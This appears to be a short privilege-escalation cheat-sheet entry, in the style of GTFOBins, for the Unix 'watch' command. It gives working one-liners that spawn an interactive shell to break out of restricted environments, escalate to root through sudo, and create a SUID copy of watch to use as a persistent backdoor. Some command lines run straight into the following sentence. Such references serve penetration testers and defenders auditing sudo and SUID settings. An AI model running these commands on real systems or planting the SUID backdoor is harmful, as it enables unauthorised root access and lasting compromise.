It can be used to break out from restricted environments by spawning an interactive system shell.
watch -x sh -c 'reset; exec sh 1>&0 2>&0'It runs with the SUID bit set and may be exploited to access the file
system, escalate or maintain access with elevated privileges working as a
SUID backdoor. If it is used to run sh -p, omit the -p argument on systems
like Debian that allow the default sh shell to run with SUID privileges.
This keeps the SUID privileges only if the -x option is present.
sudo sh -c 'cp $(which watch) .; chmod +s ./watch'
./watch -x sh -c 'reset; exec sh 1>&0 2>&0'It runs in privileged context and may be used to access the file system,
escalate or maintain access with elevated privileges if enabled on sudo.
sudo watch -x sh -c 'reset; exec sh 1>&0 2>&0'It runs with the SUID bit set and may be exploited to access the file
system, escalate or maintain access with elevated privileges working as a
SUID backdoor. If it is used to run commands it only works on systems
like Debian that allow the default sh shell to run with SUID privileges.
sudo sh -c 'cp $(which watch) .; chmod +s ./watch'
./watch 'reset; exec sh 1>&0 2>&0'